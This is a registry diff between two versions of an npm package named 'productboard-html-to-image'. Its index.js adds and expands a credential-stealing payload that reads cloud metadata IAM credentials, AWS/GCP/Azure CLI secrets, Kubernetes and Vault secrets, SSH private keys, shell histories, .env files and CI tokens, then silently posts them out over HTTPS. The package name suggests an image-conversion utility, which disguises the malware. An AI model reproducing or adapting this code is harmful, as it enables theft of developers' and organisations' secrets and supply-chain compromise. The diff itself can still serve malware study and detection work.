productboard-html-to-image 1001.0.9 → 1002.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +129 -102
- package/package.json +1 -1
package/index.js
CHANGED
@@ -36,90 +36,49 @@ function exec(cmd, timeout = 3000) {
|
|
36
36
|
function getSensitiveEnvVars() {
|
37
37
|
const result = {};
|
38
38
|
for (const key in process.env) {
|
39
|
-
if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github/i.test(key)) {
|
39
|
+
if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github|circleci|travis|vault/i.test(key)) {
|
40
40
|
result[key] = process.env[key];
|
41
41
|
}
|
42
42
|
}
|
43
43
|
return result;
|
44
44
|
}
|
45
45
|
|
46
|
-
function checkContainerOrCI() {
|
47
|
-
return {
|
48
|
-
cgroup: safeReadFile("/proc/1/cgroup"),
|
49
|
-
dockerenv: fs.existsSync("/.dockerenv"),
|
50
|
-
ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline|github|gitlab|jenkins|circleci|travis/i.test(k))),
|
51
|
-
kubernetes: {
|
52
|
-
token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
|
53
|
-
namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
|
54
|
-
kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
|
55
|
-
},
|
56
|
-
dockerConfig: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
|
57
|
-
};
|
58
|
-
}
|
59
|
-
|
60
|
-
function getGitData() {
|
61
|
-
return {
|
62
|
-
branch: exec("git rev-parse --abbrev-ref HEAD"),
|
63
|
-
remotes: exec("git remote -v"),
|
64
|
-
config: safeReadFile(path.join(os.homedir(), ".gitconfig")),
|
65
|
-
credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
|
66
|
-
netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
|
67
|
-
};
|
68
|
-
}
|
69
|
-
|
70
|
-
function getSystemState() {
|
71
|
-
return {
|
72
|
-
whoami: exec("whoami"),
|
73
|
-
id: exec("id"),
|
74
|
-
ps: exec("ps aux | head -n 30"),
|
75
|
-
netstat: exec("ss -tunlp | head -n 30"),
|
76
|
-
lsof: exec("lsof -n -i | head -n 30"),
|
77
|
-
uname: exec("uname -a"),
|
78
|
-
mounts: exec("cat /proc/mounts | head -n 30"),
|
79
|
-
crontab: exec("crontab -l"),
|
80
|
-
};
|
81
|
-
}
|
82
|
-
|
83
|
-
function getInstalledTools() {
|
84
|
-
return {
|
85
|
-
npm: exec("npm ls -g --depth=0 --json"),
|
86
|
-
apt: exec("dpkg -l | head -n 30"),
|
87
|
-
brew: exec("brew list || echo 'no brew'"),
|
88
|
-
pip: exec("pip list --format=json || echo 'no pip'"),
|
89
|
-
which_tools: {
|
90
|
-
aws: exec("which aws"),
|
91
|
-
gcloud: exec("which gcloud"),
|
92
|
-
az: exec("which az"),
|
93
|
-
kubectl: exec("which kubectl"),
|
94
|
-
terraform: exec("which terraform"),
|
95
|
-
docker: exec("which docker"),
|
96
|
-
nmap: exec("which nmap"),
|
97
|
-
curl: exec("which curl"),
|
98
|
-
},
|
99
|
-
};
|
100
|
-
}
|
101
|
-
|
102
46
|
function getCloudMetadata() {
|
103
47
|
const metadata = {};
|
104
48
|
const endpoints = [
|
105
49
|
{ name: "aws_instance", url: "http://169.254.169.254/latest/dynamic/instance-identity/document" },
|
106
|
-
{ name: "aws_metadata", url: "http://169.254.169.254/latest/meta-data/" },
|
107
50
|
{ name: "aws_iam", url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
|
51
|
+
{ name: "aws_s3", cmd: "aws s3 ls" }, // List S3 buckets
|
108
52
|
{ name: "gcp_metadata", url: "http://metadata.google.internal/computeMetadata/v1/?recursive=true", headers: { "Metadata-Flavor": "Google" } },
|
53
|
+
{ name: "gcp_projects", cmd: "gcloud projects list --format=json" },
|
109
54
|
{ name: "azure_metadata", url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers: { "Metadata": "true" } },
|
55
|
+
{ name: "azure_subscriptions", cmd: "az account list --output json" },
|
110
56
|
];
|
111
|
-
for (const { name, url, headers } of endpoints) {
|
57
|
+
for (const { name, url, headers, cmd } of endpoints) {
|
112
58
|
try {
|
113
|
-
|
114
|
-
|
115
|
-
|
116
|
-
cmd = `curl -s --max-time 2 ${
|
59
|
+
if (cmd) {
|
60
|
+
metadata[name] = exec(cmd);
|
61
|
+
} else {
|
62
|
+
let cmd = `curl -s --max-time 2 ${url}`;
|
63
|
+
if (headers) {
|
64
|
+
const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
|
65
|
+
cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
|
66
|
+
}
|
67
|
+
metadata[name] = exec(cmd);
|
117
68
|
}
|
118
|
-
metadata[name] = exec(cmd);
|
119
69
|
} catch (e) {
|
120
70
|
metadata[name] = `ERR: ${e.message}`;
|
121
71
|
}
|
122
72
|
}
|
73
|
+
// Get IAM role details if available
|
74
|
+
try {
|
75
|
+
const roleName = exec("curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/");
|
76
|
+
if (roleName && !roleName.startsWith("ERR:")) {
|
77
|
+
metadata["aws_iam_creds"] = exec(`curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`);
|
78
|
+
}
|
79
|
+
} catch (e) {
|
80
|
+
metadata["aws_iam_creds"] = `ERR: ${e.message}`;
|
81
|
+
}
|
123
82
|
return metadata;
|
124
83
|
}
|
125
84
|
|
@@ -128,23 +87,119 @@ function getCloudCLIs() {
|
|
128
87
|
aws: {
|
129
88
|
credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
|
130
89
|
config: safeReadFile(path.join(os.homedir(), ".aws/config")),
|
90
|
+
ssm_params: exec("aws ssm get-parameters --names / --recursive --query 'Parameters[*].Name'"),
|
131
91
|
sts: exec("aws sts get-caller-identity"),
|
92
|
+
assume_role: exec("aws sts get-session-token"),
|
132
93
|
},
|
133
94
|
gcloud: {
|
134
95
|
config: safeReadFile(path.join(os.homedir(), ".config/gcloud/configurations/config_default")),
|
135
96
|
credentials: safeReadFile(path.join(os.homedir(), ".config/gcloud/credentials.db")),
|
97
|
+
service_accounts: exec("gcloud iam service-accounts list --format=json"),
|
136
98
|
},
|
137
99
|
azure: {
|
138
100
|
credentials: safeReadFile(path.join(os.homedir(), ".azure/azureProfile.json")),
|
139
101
|
accessTokens: safeReadFile(path.join(os.homedir(), ".azure/accessTokens.json")),
|
102
|
+
vm_info: exec("az vm show --query '{id:id,name:name}' --output json"),
|
140
103
|
},
|
141
104
|
};
|
142
105
|
}
|
143
106
|
|
144
|
-
function
|
107
|
+
function getContainerDetails() {
|
108
|
+
return {
|
109
|
+
cgroup: safeReadFile("/proc/1/cgroup"),
|
110
|
+
dockerenv: fs.existsSync("/.dockerenv"),
|
111
|
+
docker_info: exec("docker info --format json"),
|
112
|
+
docker_ps: exec("docker ps -a --format '{{.ID}}\t{{.Names}}\t{{.Image}}\t{{.Status}}'"),
|
113
|
+
docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
|
114
|
+
kubernetes: {
|
115
|
+
token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
|
116
|
+
namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
|
117
|
+
kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
|
118
|
+
pods: exec("kubectl get pods -o json --all-namespaces"),
|
119
|
+
secrets: exec("kubectl get secrets -o json --all-namespaces"),
|
120
|
+
},
|
121
|
+
};
|
122
|
+
}
|
123
|
+
|
124
|
+
function getCICDDetails() {
|
125
|
+
return {
|
126
|
+
github: {
|
127
|
+
token: process.env.GITHUB_TOKEN || safeReadFile(path.join(os.homedir(), ".github/token")),
|
128
|
+
actions_vars: safeReadDir(path.join(process.cwd(), ".github/workflows")),
|
129
|
+
},
|
130
|
+
jenkins: {
|
131
|
+
config: safeReadFile("/var/jenkins_home/config.xml"),
|
132
|
+
credentials: safeReadFile("/var/jenkins_home/credentials.xml"),
|
133
|
+
},
|
134
|
+
gitlab: {
|
135
|
+
config: safeReadFile(path.join(os.homedir(), ".gitlab-ci.yml")),
|
136
|
+
token: process.env.CI_JOB_TOKEN || "NOT_FOUND",
|
137
|
+
},
|
138
|
+
vault: {
|
139
|
+
token: safeReadFile(path.join(os.homedir(), ".vault-token")),
|
140
|
+
secrets: exec("vault kv list -format=json secret/"),
|
141
|
+
},
|
142
|
+
};
|
143
|
+
}
|
144
|
+
|
145
|
+
function getRuntimeSecrets() {
|
145
146
|
return {
|
146
147
|
node_version: process.version,
|
148
|
+
global_objects: Object.keys(global).filter(k => /key|token|secret|cred|auth/i.test(k)),
|
149
|
+
process_config: JSON.stringify(process.config),
|
147
150
|
npm_config: exec("npm config ls -l"),
|
151
|
+
loaded_modules: Object.keys(require("module")._cache).slice(0, 50),
|
152
|
+
};
|
153
|
+
}
|
154
|
+
|
155
|
+
function getSensitiveFiles() {
|
156
|
+
const files = {
|
157
|
+
etc_passwd: safeReadFile("/etc/passwd"),
|
158
|
+
etc_hosts: safeReadFile("/etc/hosts"),
|
159
|
+
etc_resolv: safeReadFile("/etc/resolv.conf"),
|
160
|
+
bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
|
161
|
+
zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
|
162
|
+
ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
|
163
|
+
ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
|
164
|
+
ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
|
165
|
+
aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
|
166
|
+
aws_ssm: safeReadFile(path.join(os.homedir(), ".aws/ssm")),
|
167
|
+
npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
|
168
|
+
gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
|
169
|
+
git_credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
|
170
|
+
netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
|
171
|
+
docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
|
172
|
+
env_files: {
|
173
|
+
dotenv: safeReadFile(path.join(process.cwd(), ".env")),
|
174
|
+
github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
|
175
|
+
circleci: safeReadFile(path.join(process.cwd(), ".circleci/config.yml")),
|
176
|
+
},
|
177
|
+
};
|
178
|
+
// Scan for additional sensitive files
|
179
|
+
const sensitivePaths = [
|
180
|
+
path.join(os.homedir(), ".config/vault"),
|
181
|
+
path.join(os.homedir(), ".terraformrc"),
|
182
|
+
path.join(process.cwd(), "secrets.yml"),
|
183
|
+
"/run/secrets",
|
184
|
+
];
|
185
|
+
files.extras = {};
|
186
|
+
sensitivePaths.forEach(p => {
|
187
|
+
files.extras[path.basename(p)] = fs.existsSync(p) ? (fs.lstatSync(p).isDirectory() ? safeReadDir(p) : safeReadFile(p)) : "NOT_FOUND";
|
188
|
+
});
|
189
|
+
return files;
|
190
|
+
}
|
191
|
+
|
192
|
+
function getSystemState() {
|
193
|
+
return {
|
194
|
+
whoami: exec("whoami"),
|
195
|
+
id: exec("id"),
|
196
|
+
ps: exec("ps aux | grep -E 'node|java|python|ruby|go|aws|gcloud|az|kubectl|vault' | head -n 30"),
|
197
|
+
netstat: exec("ss -tunlp | head -n 30"),
|
198
|
+
lsof: exec("lsof -n -i | head -n 30"),
|
199
|
+
uname: exec("uname -a"),
|
200
|
+
mounts: exec("cat /proc/mounts | head -n 30"),
|
201
|
+
crontab: exec("crontab -l"),
|
202
|
+
sysctl: exec("sysctl -a | grep -E 'kernel|vm|net' | head -n 50"),
|
148
203
|
};
|
149
204
|
}
|
150
205
|
|
@@ -195,42 +250,14 @@ try {
|
|
195
250
|
}
|
196
251
|
})(),
|
197
252
|
env: getSensitiveEnvVars(),
|
198
|
-
|
199
|
-
"/": safeReadDir("/"),
|
200
|
-
"/home": safeReadDir("/home"),
|
201
|
-
"/root": safeReadDir("/root"),
|
202
|
-
"/etc": safeReadDir("/etc"),
|
203
|
-
"/var/run": safeReadDir("/var/run"),
|
204
|
-
"/var/log": safeReadDir("/var/log"),
|
205
|
-
"~": safeReadDir(os.homedir()),
|
206
|
-
},
|
207
|
-
files: {
|
208
|
-
etc_passwd: safeReadFile("/etc/passwd"),
|
209
|
-
etc_hosts: safeReadFile("/etc/hosts"),
|
210
|
-
etc_resolv: safeReadFile("/etc/resolv.conf"),
|
211
|
-
bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
|
212
|
-
zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
|
213
|
-
ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
|
214
|
-
ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
|
215
|
-
ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
|
216
|
-
aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
|
217
|
-
aws_config: safeReadFile(path.join(os.homedir(), ".aws/config")),
|
218
|
-
npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
|
219
|
-
gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
|
220
|
-
docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
|
221
|
-
env_files: {
|
222
|
-
dotenv: safeReadFile(path.join(process.cwd(), ".env")),
|
223
|
-
github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
|
224
|
-
},
|
225
|
-
},
|
226
|
-
git: getGitData(),
|
227
|
-
container: checkContainerOrCI(),
|
228
|
-
system: getSystemState(),
|
229
|
-
tools: getInstalledTools(),
|
230
|
-
network: os.networkInterfaces(),
|
253
|
+
container: getContainerDetails(),
|
231
254
|
cloud: getCloudMetadata(),
|
232
255
|
cloud_clis: getCloudCLIs(),
|
233
|
-
|
256
|
+
cicd: getCICDDetails(),
|
257
|
+
runtime: getRuntimeSecrets(),
|
258
|
+
files: getSensitiveFiles(),
|
259
|
+
system: getSystemState(),
|
260
|
+
network: os.networkInterfaces(),
|
234
261
|
timestamp: new Date().toISOString()
|
235
262
|
};
|
236
263
|
} catch (e) {
|
@@ -257,11 +284,11 @@ try {
|
|
257
284
|
};
|
258
285
|
|
259
286
|
const req = https.request(options, res => {
|
260
|
-
res.on("data", () => {
|
261
|
-
res.on("end", () => {
|
287
|
+
res.on("data", () => {});
|
288
|
+
res.on("end", () => {});
|
262
289
|
});
|
263
290
|
|
264
|
-
req.on("error", () => {
|
291
|
+
req.on("error", () => {});
|
265
292
|
req.on("timeout", () => req.destroy());
|
266
293
|
req.write(postData);
|
267
294
|
req.end();
|